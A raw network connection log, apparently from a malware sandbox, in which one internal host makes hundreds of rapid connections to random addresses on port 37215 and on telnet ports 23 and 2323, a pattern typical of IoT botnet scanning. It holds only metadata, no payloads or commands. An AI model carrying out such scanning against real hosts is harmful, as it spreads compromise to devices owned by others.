Nov 3, 2024 15:33:14.251831055 CET	4847	37215	192.168.2.14	156.225.64.150
Nov 3, 2024 15:33:14.251831055 CET	4847	37215	192.168.2.14	41.186.219.147
Nov 3, 2024 15:33:14.251837015 CET	4847	37215	192.168.2.14	41.154.156.76
Nov 3, 2024 15:33:14.251837969 CET	4847	37215	192.168.2.14	156.165.84.24
Nov 3, 2024 15:33:14.251837969 CET	4847	37215	192.168.2.14	41.165.61.129
Nov 3, 2024 15:33:14.251837969 CET	4847	37215	192.168.2.14	41.182.25.151
Nov 3, 2024 15:33:14.251847029 CET	4847	37215	192.168.2.14	41.196.55.103
Nov 3, 2024 15:33:14.251847029 CET	4847	37215	192.168.2.14	156.191.34.211
Nov 3, 2024 15:33:14.251847029 CET	4847	37215	192.168.2.14	156.1.211.216
Nov 3, 2024 15:33:14.251851082 CET	4847	37215	192.168.2.14	197.25.180.123
Nov 3, 2024 15:33:14.251854897 CET	23	56056	150.186.70.101	192.168.2.14
Nov 3, 2024 15:33:14.251858950 CET	4847	37215	192.168.2.14	197.55.167.252
Nov 3, 2024 15:33:14.251859903 CET	4847	37215	192.168.2.14	41.12.6.199
Nov 3, 2024 15:33:14.251859903 CET	4847	37215	192.168.2.14	197.200.97.245
Nov 3, 2024 15:33:14.251862049 CET	4847	37215	192.168.2.14	197.24.170.195
Nov 3, 2024 15:33:14.251862049 CET	4847	37215	192.168.2.14	197.210.43.28
Nov 3, 2024 15:33:14.251873016 CET	4847	37215	192.168.2.14	197.37.173.44
Nov 3, 2024 15:33:14.251873970 CET	4847	37215	192.168.2.14	41.223.53.0
Nov 3, 2024 15:33:14.251873970 CET	4847	37215	192.168.2.14	156.53.90.196
Nov 3, 2024 15:33:14.251873970 CET	4847	37215	192.168.2.14	156.84.161.182
Nov 3, 2024 15:33:14.251876116 CET	4847	37215	192.168.2.14	41.180.71.162
Nov 3, 2024 15:33:14.251885891 CET	4847	37215	192.168.2.14	41.242.99.226
Nov 3, 2024 15:33:14.251892090 CET	4847	37215	192.168.2.14	156.149.104.19
Nov 3, 2024 15:33:14.251893997 CET	4847	37215	192.168.2.14	41.86.49.94
Nov 3, 2024 15:33:14.251893997 CET	4847	37215	192.168.2.14	197.142.60.255
Nov 3, 2024 15:33:14.251893997 CET	4847	37215	192.168.2.14	156.118.242.27
Nov 3, 2024 15:33:14.251895905 CET	4847	37215	192.168.2.14	41.55.31.24
Nov 3, 2024 15:33:14.251914024 CET	4847	37215	192.168.2.14	197.221.186.39
Nov 3, 2024 15:33:14.251914978 CET	4847	37215	192.168.2.14	41.149.112.124
Nov 3, 2024 15:33:14.251914978 CET	4847	37215	192.168.2.14	41.89.171.54
Nov 3, 2024 15:33:14.251915932 CET	4847	37215	192.168.2.14	156.0.231.22
Nov 3, 2024 15:33:14.251916885 CET	4847	37215	192.168.2.14	197.115.225.100
Nov 3, 2024 15:33:14.251915932 CET	4847	37215	192.168.2.14	41.48.124.178
Nov 3, 2024 15:33:14.251916885 CET	4847	37215	192.168.2.14	156.161.102.163
Nov 3, 2024 15:33:14.251918077 CET	4847	37215	192.168.2.14	197.15.43.172
Nov 3, 2024 15:33:14.251916885 CET	4847	37215	192.168.2.14	197.197.220.131
Nov 3, 2024 15:33:14.251918077 CET	4847	37215	192.168.2.14	156.83.188.242
Nov 3, 2024 15:33:14.251929045 CET	4847	37215	192.168.2.14	197.90.207.237
Nov 3, 2024 15:33:14.251929045 CET	4847	37215	192.168.2.14	197.199.237.170
Nov 3, 2024 15:33:14.251929998 CET	4847	37215	192.168.2.14	41.237.69.250
Nov 3, 2024 15:33:14.251929045 CET	4847	37215	192.168.2.14	41.0.162.243
Nov 3, 2024 15:33:14.251934052 CET	4847	37215	192.168.2.14	41.159.110.140
Nov 3, 2024 15:33:14.251935005 CET	4847	37215	192.168.2.14	41.76.200.87
Nov 3, 2024 15:33:14.251935005 CET	4847	37215	192.168.2.14	156.179.211.67
Nov 3, 2024 15:33:14.251961946 CET	4847	37215	192.168.2.14	197.37.99.17
Nov 3, 2024 15:33:14.251962900 CET	4847	37215	192.168.2.14	156.70.87.119
Nov 3, 2024 15:33:14.251962900 CET	4847	37215	192.168.2.14	156.106.71.63
Nov 3, 2024 15:33:14.251964092 CET	4847	37215	192.168.2.14	156.229.245.92
Nov 3, 2024 15:33:14.251964092 CET	4847	37215	192.168.2.14	41.169.5.138
Nov 3, 2024 15:33:14.251965046 CET	4847	37215	192.168.2.14	156.51.186.172
Nov 3, 2024 15:33:14.251965046 CET	4847	37215	192.168.2.14	41.172.164.169
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	41.240.75.64
Nov 3, 2024 15:33:14.251965046 CET	4847	37215	192.168.2.14	197.133.246.20
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	197.216.138.185
Nov 3, 2024 15:33:14.251965046 CET	4847	37215	192.168.2.14	197.230.87.30
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	197.248.107.197
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	197.3.39.107
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	197.93.245.244
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	197.199.105.127
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	156.35.194.196
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	197.176.133.207
Nov 3, 2024 15:33:14.251966000 CET	4847	37215	192.168.2.14	156.101.140.165
Nov 3, 2024 15:33:14.251975060 CET	4847	37215	192.168.2.14	41.169.223.93
Nov 3, 2024 15:33:14.251975060 CET	4847	37215	192.168.2.14	197.151.100.217
Nov 3, 2024 15:33:14.251977921 CET	4847	37215	192.168.2.14	41.72.95.160
Nov 3, 2024 15:33:14.251982927 CET	4847	37215	192.168.2.14	156.137.46.25
Nov 3, 2024 15:33:14.252001047 CET	4847	37215	192.168.2.14	41.56.69.69
Nov 3, 2024 15:33:14.252002001 CET	4847	37215	192.168.2.14	41.250.233.30
Nov 3, 2024 15:33:14.252002954 CET	4847	37215	192.168.2.14	156.202.31.62
Nov 3, 2024 15:33:14.252002954 CET	4847	37215	192.168.2.14	197.1.40.145
Nov 3, 2024 15:33:14.252002954 CET	4847	37215	192.168.2.14	41.47.217.187
Nov 3, 2024 15:33:14.252003908 CET	4847	37215	192.168.2.14	156.130.116.154
Nov 3, 2024 15:33:14.252002954 CET	4847	37215	192.168.2.14	156.64.245.160
Nov 3, 2024 15:33:14.252003908 CET	4847	37215	192.168.2.14	197.231.157.230
Nov 3, 2024 15:33:14.252005100 CET	4847	37215	192.168.2.14	197.103.52.19
Nov 3, 2024 15:33:14.252005100 CET	4847	37215	192.168.2.14	197.233.231.181
Nov 3, 2024 15:33:14.252015114 CET	4847	37215	192.168.2.14	156.37.103.53
Nov 3, 2024 15:33:14.252017021 CET	4847	37215	192.168.2.14	41.83.201.150
Nov 3, 2024 15:33:14.252017975 CET	4847	37215	192.168.2.14	156.5.239.81
Nov 3, 2024 15:33:14.252021074 CET	4847	37215	192.168.2.14	41.223.5.110
Nov 3, 2024 15:33:14.252022028 CET	4847	37215	192.168.2.14	197.70.141.100
Nov 3, 2024 15:33:14.252022028 CET	4847	37215	192.168.2.14	156.173.31.16
Nov 3, 2024 15:33:14.252022028 CET	4847	37215	192.168.2.14	41.238.75.45
Nov 3, 2024 15:33:14.252022028 CET	4847	37215	192.168.2.14	197.14.126.221
Nov 3, 2024 15:33:14.252049923 CET	4847	37215	192.168.2.14	41.254.89.30
Nov 3, 2024 15:33:14.252049923 CET	4847	37215	192.168.2.14	41.46.16.40
Nov 3, 2024 15:33:14.252051115 CET	4847	37215	192.168.2.14	197.21.138.211
Nov 3, 2024 15:33:14.252053022 CET	4847	37215	192.168.2.14	197.240.244.18
Nov 3, 2024 15:33:14.252053022 CET	4847	37215	192.168.2.14	197.148.110.91
Nov 3, 2024 15:33:14.252053022 CET	4847	37215	192.168.2.14	156.1.169.83
Nov 3, 2024 15:33:14.252053022 CET	4847	37215	192.168.2.14	197.124.241.226
Nov 3, 2024 15:33:14.252053022 CET	4847	37215	192.168.2.14	41.72.165.107
Nov 3, 2024 15:33:14.252053022 CET	4847	37215	192.168.2.14	41.211.247.94
Nov 3, 2024 15:33:14.252055883 CET	4847	37215	192.168.2.14	156.241.252.11
Nov 3, 2024 15:33:14.252053022 CET	4847	37215	192.168.2.14	41.237.51.10
Nov 3, 2024 15:33:14.252055883 CET	4847	37215	192.168.2.14	41.163.109.52
Nov 3, 2024 15:33:14.252069950 CET	4847	37215	192.168.2.14	156.126.110.128
Nov 3, 2024 15:33:14.252070904 CET	4847	37215	192.168.2.14	41.28.94.71
Nov 3, 2024 15:33:14.252073050 CET	4847	37215	192.168.2.14	156.193.155.239
Nov 3, 2024 15:33:14.252074003 CET	4847	37215	192.168.2.14	41.66.204.85
Nov 3, 2024 15:33:14.252074003 CET	4847	37215	192.168.2.14	197.225.148.87
Nov 3, 2024 15:33:14.252074003 CET	4847	37215	192.168.2.14	41.179.255.37
Nov 3, 2024 15:33:14.252074003 CET	4847	37215	192.168.2.14	197.77.99.193
Nov 3, 2024 15:33:14.252074003 CET	4847	37215	192.168.2.14	156.73.249.143
Nov 3, 2024 15:33:14.252075911 CET	4847	37215	192.168.2.14	156.216.34.113
Nov 3, 2024 15:33:14.252075911 CET	4847	37215	192.168.2.14	41.195.82.36
Nov 3, 2024 15:33:14.252078056 CET	4847	37215	192.168.2.14	156.15.112.5
Nov 3, 2024 15:33:14.252079010 CET	4847	37215	192.168.2.14	156.98.195.112
Nov 3, 2024 15:33:14.252075911 CET	4847	37215	192.168.2.14	197.70.94.249
Nov 3, 2024 15:33:14.252079010 CET	4847	37215	192.168.2.14	197.24.242.144
Nov 3, 2024 15:33:14.252075911 CET	4847	37215	192.168.2.14	41.243.159.51
Nov 3, 2024 15:33:14.252087116 CET	4847	37215	192.168.2.14	41.114.72.9
Nov 3, 2024 15:33:14.252103090 CET	4847	37215	192.168.2.14	197.68.112.60
Nov 3, 2024 15:33:14.252104044 CET	4847	37215	192.168.2.14	156.238.121.1
Nov 3, 2024 15:33:14.252109051 CET	4847	37215	192.168.2.14	197.130.173.11
Nov 3, 2024 15:33:14.252111912 CET	4847	37215	192.168.2.14	156.156.62.73
Nov 3, 2024 15:33:14.252111912 CET	4847	37215	192.168.2.14	156.29.197.39
Nov 3, 2024 15:33:14.252115965 CET	4847	37215	192.168.2.14	41.40.74.51
Nov 3, 2024 15:33:14.252118111 CET	4847	37215	192.168.2.14	41.104.60.2
Nov 3, 2024 15:33:14.252115965 CET	4847	37215	192.168.2.14	41.205.113.12
Nov 3, 2024 15:33:14.252120018 CET	4847	37215	192.168.2.14	156.46.74.36
Nov 3, 2024 15:33:14.252118111 CET	4847	37215	192.168.2.14	41.136.175.242
Nov 3, 2024 15:33:14.252120018 CET	4847	37215	192.168.2.14	41.96.230.211
Nov 3, 2024 15:33:14.252126932 CET	4847	37215	192.168.2.14	41.70.111.204
Nov 3, 2024 15:33:14.252126932 CET	4847	37215	192.168.2.14	156.212.94.207
Nov 3, 2024 15:33:14.252146006 CET	4847	37215	192.168.2.14	41.53.56.16
Nov 3, 2024 15:33:14.252146959 CET	4847	37215	192.168.2.14	197.182.144.247
Nov 3, 2024 15:33:14.252146959 CET	4847	37215	192.168.2.14	156.222.137.22
Nov 3, 2024 15:33:14.252149105 CET	4847	37215	192.168.2.14	156.134.31.38
Nov 3, 2024 15:33:14.252149105 CET	4847	37215	192.168.2.14	197.94.42.197
Nov 3, 2024 15:33:14.252150059 CET	4847	37215	192.168.2.14	41.33.189.217
Nov 3, 2024 15:33:14.252150059 CET	4847	37215	192.168.2.14	41.252.64.33
Nov 3, 2024 15:33:14.252149105 CET	4847	37215	192.168.2.14	197.205.42.144
Nov 3, 2024 15:33:14.252150059 CET	4847	37215	192.168.2.14	156.145.129.64
Nov 3, 2024 15:33:14.252150059 CET	4847	37215	192.168.2.14	41.96.101.157
Nov 3, 2024 15:33:14.252156019 CET	4847	37215	192.168.2.14	156.247.53.72
Nov 3, 2024 15:33:14.252150059 CET	4847	37215	192.168.2.14	41.170.136.190
Nov 3, 2024 15:33:14.252150059 CET	4847	37215	192.168.2.14	156.171.184.63
Nov 3, 2024 15:33:14.252156019 CET	4847	37215	192.168.2.14	41.91.41.65
Nov 3, 2024 15:33:14.252156019 CET	4847	37215	192.168.2.14	41.146.17.129
Nov 3, 2024 15:33:14.252156019 CET	4847	37215	192.168.2.14	41.153.97.192
Nov 3, 2024 15:33:14.252193928 CET	4847	37215	192.168.2.14	197.114.221.147
Nov 3, 2024 15:33:14.252193928 CET	4847	37215	192.168.2.14	156.155.29.136
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	41.163.174.235
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	156.167.75.60
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	156.178.86.93
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	197.239.42.153
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	41.140.232.90
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	41.209.34.46
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	41.215.227.244
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	197.25.167.35
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	197.154.101.222
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	156.228.32.4
Nov 3, 2024 15:33:14.252197027 CET	4847	37215	192.168.2.14	197.30.205.184
Nov 3, 2024 15:33:14.252201080 CET	23	56486	150.186.70.101	192.168.2.14
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	41.160.51.117
Nov 3, 2024 15:33:14.252197027 CET	4847	37215	192.168.2.14	156.227.9.94
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	41.50.89.90
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	156.252.77.172
Nov 3, 2024 15:33:14.252197027 CET	4847	37215	192.168.2.14	41.200.223.46
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	156.147.149.96
Nov 3, 2024 15:33:14.252207041 CET	4847	37215	192.168.2.14	197.103.26.113
Nov 3, 2024 15:33:14.252211094 CET	4847	37215	192.168.2.14	156.23.113.118
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	156.148.145.88
Nov 3, 2024 15:33:14.252209902 CET	4847	37215	192.168.2.14	41.252.210.159
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	156.97.157.39
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	197.61.161.234
Nov 3, 2024 15:33:14.252207041 CET	4847	37215	192.168.2.14	41.37.155.5
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	197.110.170.229
Nov 3, 2024 15:33:14.252197027 CET	4847	37215	192.168.2.14	156.122.228.255
Nov 3, 2024 15:33:14.252211094 CET	4847	37215	192.168.2.14	197.242.12.194
Nov 3, 2024 15:33:14.252196074 CET	4847	37215	192.168.2.14	156.21.248.41
Nov 3, 2024 15:33:14.252211094 CET	4847	37215	192.168.2.14	41.148.20.42
Nov 3, 2024 15:33:14.252218008 CET	4847	37215	192.168.2.14	197.18.174.65
Nov 3, 2024 15:33:14.252218008 CET	4847	37215	192.168.2.14	156.33.114.146
Nov 3, 2024 15:33:14.252228022 CET	4847	37215	192.168.2.14	197.183.80.119
Nov 3, 2024 15:33:14.252228975 CET	4847	37215	192.168.2.14	197.51.5.99
Nov 3, 2024 15:33:14.252232075 CET	4847	37215	192.168.2.14	197.80.236.242
Nov 3, 2024 15:33:14.252233982 CET	4847	37215	192.168.2.14	197.231.107.247
Nov 3, 2024 15:33:14.252238989 CET	4847	37215	192.168.2.14	41.119.14.40
Nov 3, 2024 15:33:14.252238989 CET	4847	37215	192.168.2.14	41.21.198.110
Nov 3, 2024 15:33:14.252238989 CET	4847	37215	192.168.2.14	197.51.81.65
Nov 3, 2024 15:33:14.252239943 CET	4847	37215	192.168.2.14	41.33.161.227
Nov 3, 2024 15:33:14.252239943 CET	4847	37215	192.168.2.14	41.28.40.150
Nov 3, 2024 15:33:14.252240896 CET	4847	37215	192.168.2.14	41.150.132.153
Nov 3, 2024 15:33:14.252239943 CET	4847	37215	192.168.2.14	41.62.188.48
Nov 3, 2024 15:33:14.252239943 CET	4847	37215	192.168.2.14	156.40.217.202
Nov 3, 2024 15:33:14.252247095 CET	4847	37215	192.168.2.14	197.125.67.110
Nov 3, 2024 15:33:14.252248049 CET	4847	37215	192.168.2.14	41.200.30.130
Nov 3, 2024 15:33:14.252257109 CET	4847	37215	192.168.2.14	41.163.59.125
Nov 3, 2024 15:33:14.252257109 CET	4847	37215	192.168.2.14	156.207.197.221
Nov 3, 2024 15:33:14.252258062 CET	4847	37215	192.168.2.14	156.18.18.14
Nov 3, 2024 15:33:14.252258062 CET	4847	37215	192.168.2.14	156.209.226.232
Nov 3, 2024 15:33:14.252260923 CET	4847	37215	192.168.2.14	41.75.1.178
Nov 3, 2024 15:33:14.252294064 CET	4847	37215	192.168.2.14	41.190.56.193
Nov 3, 2024 15:33:14.252294064 CET	4847	37215	192.168.2.14	197.44.111.244
Nov 3, 2024 15:33:14.252294064 CET	4847	37215	192.168.2.14	156.42.193.245
Nov 3, 2024 15:33:14.252295017 CET	4847	37215	192.168.2.14	197.97.228.192
Nov 3, 2024 15:33:14.252295017 CET	4847	37215	192.168.2.14	156.55.244.147
Nov 3, 2024 15:33:14.252295971 CET	4847	37215	192.168.2.14	156.31.244.30
Nov 3, 2024 15:33:14.252295017 CET	4847	37215	192.168.2.14	156.151.189.233
Nov 3, 2024 15:33:14.252296925 CET	4847	37215	192.168.2.14	41.30.109.170
Nov 3, 2024 15:33:14.252295971 CET	4847	37215	192.168.2.14	197.74.59.255
Nov 3, 2024 15:33:14.252296925 CET	4847	37215	192.168.2.14	156.180.212.255
Nov 3, 2024 15:33:14.252302885 CET	56486	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:14.252302885 CET	4847	37215	192.168.2.14	197.189.193.94
Nov 3, 2024 15:33:14.252302885 CET	4847	37215	192.168.2.14	197.243.226.234
Nov 3, 2024 15:33:14.252302885 CET	4847	37215	192.168.2.14	156.23.217.43
Nov 3, 2024 15:33:14.252305031 CET	4847	37215	192.168.2.14	197.156.171.99
Nov 3, 2024 15:33:14.252306938 CET	4847	37215	192.168.2.14	197.177.136.116
Nov 3, 2024 15:33:14.252310038 CET	4847	37215	192.168.2.14	156.68.154.54
Nov 3, 2024 15:33:14.252310038 CET	4847	37215	192.168.2.14	41.61.20.89
Nov 3, 2024 15:33:14.252312899 CET	4847	37215	192.168.2.14	156.109.97.64
Nov 3, 2024 15:33:14.252314091 CET	4847	37215	192.168.2.14	156.51.225.79
Nov 3, 2024 15:33:14.252314091 CET	4847	37215	192.168.2.14	156.68.244.184
Nov 3, 2024 15:33:14.252325058 CET	4847	37215	192.168.2.14	197.153.141.236
Nov 3, 2024 15:33:14.252325058 CET	4847	37215	192.168.2.14	156.177.108.138
Nov 3, 2024 15:33:14.252336025 CET	4847	37215	192.168.2.14	41.143.11.12
Nov 3, 2024 15:33:14.252336979 CET	4847	37215	192.168.2.14	197.201.207.220
Nov 3, 2024 15:33:14.252336979 CET	4847	37215	192.168.2.14	156.235.107.56
Nov 3, 2024 15:33:14.252336979 CET	4847	37215	192.168.2.14	156.89.240.234
Nov 3, 2024 15:33:14.252341986 CET	4847	37215	192.168.2.14	41.13.169.83
Nov 3, 2024 15:33:14.252343893 CET	4847	37215	192.168.2.14	156.18.86.67
Nov 3, 2024 15:33:14.252350092 CET	4847	37215	192.168.2.14	197.116.139.152
Nov 3, 2024 15:33:14.252350092 CET	4847	37215	192.168.2.14	156.9.247.44
Nov 3, 2024 15:33:14.252351046 CET	4847	37215	192.168.2.14	197.224.38.193
Nov 3, 2024 15:33:14.252357960 CET	4847	37215	192.168.2.14	197.22.5.155
Nov 3, 2024 15:33:14.252378941 CET	4847	37215	192.168.2.14	41.90.222.165
Nov 3, 2024 15:33:14.252379894 CET	4847	37215	192.168.2.14	41.95.156.41
Nov 3, 2024 15:33:14.252379894 CET	4847	37215	192.168.2.14	156.43.254.86
Nov 3, 2024 15:33:14.252381086 CET	4847	37215	192.168.2.14	41.34.144.220
Nov 3, 2024 15:33:14.252382040 CET	4847	37215	192.168.2.14	197.80.203.202
Nov 3, 2024 15:33:14.252382994 CET	4847	37215	192.168.2.14	197.250.178.106
Nov 3, 2024 15:33:14.252382040 CET	4847	37215	192.168.2.14	156.150.132.51
Nov 3, 2024 15:33:14.252382994 CET	4847	37215	192.168.2.14	156.122.239.106
Nov 3, 2024 15:33:14.252383947 CET	4847	37215	192.168.2.14	41.222.252.221
Nov 3, 2024 15:33:14.252382994 CET	4847	37215	192.168.2.14	41.189.250.202
Nov 3, 2024 15:33:14.252382994 CET	4847	37215	192.168.2.14	197.253.211.255
Nov 3, 2024 15:33:14.252386093 CET	4847	37215	192.168.2.14	156.206.12.115
Nov 3, 2024 15:33:14.252386093 CET	4847	37215	192.168.2.14	156.41.207.208
Nov 3, 2024 15:33:14.252386093 CET	4847	37215	192.168.2.14	156.103.50.117
Nov 3, 2024 15:33:14.252382994 CET	4847	37215	192.168.2.14	197.85.152.45
Nov 3, 2024 15:33:14.252382994 CET	4847	37215	192.168.2.14	41.190.91.245
Nov 3, 2024 15:33:14.252409935 CET	4847	37215	192.168.2.14	197.108.253.213
Nov 3, 2024 15:33:14.252410889 CET	4847	37215	192.168.2.14	156.133.97.31
Nov 3, 2024 15:33:14.252413034 CET	4847	37215	192.168.2.14	156.233.13.231
Nov 3, 2024 15:33:14.252413034 CET	4847	37215	192.168.2.14	156.127.67.211
Nov 3, 2024 15:33:14.252415895 CET	4847	37215	192.168.2.14	197.189.3.249
Nov 3, 2024 15:33:14.252418041 CET	4847	37215	192.168.2.14	156.47.146.30
Nov 3, 2024 15:33:14.252419949 CET	4847	37215	192.168.2.14	41.102.248.162
Nov 3, 2024 15:33:14.252419949 CET	4847	37215	192.168.2.14	156.151.235.127
Nov 3, 2024 15:33:14.252419949 CET	4847	37215	192.168.2.14	156.73.78.36
Nov 3, 2024 15:33:14.252419949 CET	4847	37215	192.168.2.14	41.75.106.240
Nov 3, 2024 15:33:14.252422094 CET	4847	37215	192.168.2.14	197.28.81.196
Nov 3, 2024 15:33:14.252432108 CET	4847	37215	192.168.2.14	41.109.181.231
Nov 3, 2024 15:33:14.252433062 CET	4847	37215	192.168.2.14	197.140.146.106
Nov 3, 2024 15:33:14.252433062 CET	4847	37215	192.168.2.14	197.243.100.150
Nov 3, 2024 15:33:14.252433062 CET	4847	37215	192.168.2.14	197.209.3.243
Nov 3, 2024 15:33:14.252433062 CET	4847	37215	192.168.2.14	41.160.7.79
Nov 3, 2024 15:33:14.256393909 CET	37215	4847	156.32.67.204	192.168.2.14
Nov 3, 2024 15:33:14.256438017 CET	4847	37215	192.168.2.14	156.32.67.204
Nov 3, 2024 15:33:14.268656015 CET	36318	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:14.268656015 CET	52998	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:14.268659115 CET	54184	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:14.268659115 CET	57606	37215	192.168.2.14	41.100.0.212
Nov 3, 2024 15:33:14.268666983 CET	45638	37215	192.168.2.14	156.14.58.244
Nov 3, 2024 15:33:14.268673897 CET	45420	37215	192.168.2.14	197.30.235.134
Nov 3, 2024 15:33:14.268673897 CET	42918	37215	192.168.2.14	156.189.98.220
Nov 3, 2024 15:33:14.268673897 CET	49480	37215	192.168.2.14	156.223.113.153
Nov 3, 2024 15:33:14.268675089 CET	56018	37215	192.168.2.14	156.82.38.37
Nov 3, 2024 15:33:14.268687963 CET	55056	37215	192.168.2.14	41.27.247.56
Nov 3, 2024 15:33:14.268690109 CET	39382	37215	192.168.2.14	197.137.99.26
Nov 3, 2024 15:33:14.268690109 CET	50214	37215	192.168.2.14	41.1.57.191
Nov 3, 2024 15:33:14.268691063 CET	50484	37215	192.168.2.14	156.239.160.12
Nov 3, 2024 15:33:14.268693924 CET	38572	37215	192.168.2.14	156.157.201.18
Nov 3, 2024 15:33:14.268693924 CET	45400	37215	192.168.2.14	197.41.206.53
Nov 3, 2024 15:33:14.268693924 CET	57578	37215	192.168.2.14	156.255.190.87
Nov 3, 2024 15:33:14.268691063 CET	58078	37215	192.168.2.14	197.33.149.67
Nov 3, 2024 15:33:14.268699884 CET	56688	37215	192.168.2.14	197.247.199.66
Nov 3, 2024 15:33:14.272634029 CET	35368	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.272638083 CET	33124	23	192.168.2.14	221.125.157.173
Nov 3, 2024 15:33:14.272643089 CET	48150	23	192.168.2.14	95.124.62.123
Nov 3, 2024 15:33:14.272650003 CET	49582	23	192.168.2.14	118.209.41.35
Nov 3, 2024 15:33:14.272650003 CET	48634	23	192.168.2.14	200.19.151.133
Nov 3, 2024 15:33:14.272650003 CET	33252	23	192.168.2.14	122.197.11.138
Nov 3, 2024 15:33:14.272653103 CET	45088	23	192.168.2.14	148.58.186.24
Nov 3, 2024 15:33:14.272663116 CET	43014	2323	192.168.2.14	170.249.147.34
Nov 3, 2024 15:33:14.272664070 CET	58514	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:14.272667885 CET	36726	23	192.168.2.14	149.100.124.48
Nov 3, 2024 15:33:14.272672892 CET	36456	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:14.273422956 CET	37215	36318	41.118.174.98	192.168.2.14
Nov 3, 2024 15:33:14.273475885 CET	36318	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:14.273513079 CET	36318	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:14.273860931 CET	45656	37215	192.168.2.14	156.32.67.204
Nov 3, 2024 15:33:14.277484894 CET	23	35368	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.277529001 CET	35368	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.278582096 CET	37215	36318	41.118.174.98	192.168.2.14
Nov 3, 2024 15:33:14.278623104 CET	36318	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:14.282654047 CET	23	35368	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.282732964 CET	35368	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.283000946 CET	35712	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.287492990 CET	23	35368	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.287736893 CET	23	35712	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.287779093 CET	35712	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.292632103 CET	23	35712	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.292704105 CET	35712	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.292998075 CET	35714	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.297658920 CET	23	35712	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.297830105 CET	23	35714	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.297903061 CET	35714	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.300645113 CET	55434	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:14.300648928 CET	41062	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:14.302776098 CET	23	35714	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.302844048 CET	35714	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.303186893 CET	35716	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:14.305402040 CET	23	55434	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:14.305449009 CET	55434	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:14.307622910 CET	23	35714	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:14.310682058 CET	23	55434	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:14.310749054 CET	55434	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:14.311033010 CET	55494	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:14.315540075 CET	23	55434	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:14.383882999 CET	23	47000	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.383996010 CET	47000	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.384349108 CET	47040	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.389182091 CET	23	47000	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.389323950 CET	23	47040	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.389374971 CET	47040	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.395477057 CET	23	47040	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.395540953 CET	47040	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.395842075 CET	47042	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.401098967 CET	23	47040	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.401119947 CET	23	47042	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.401168108 CET	47042	23	192.168.2.14	207.180.143.66
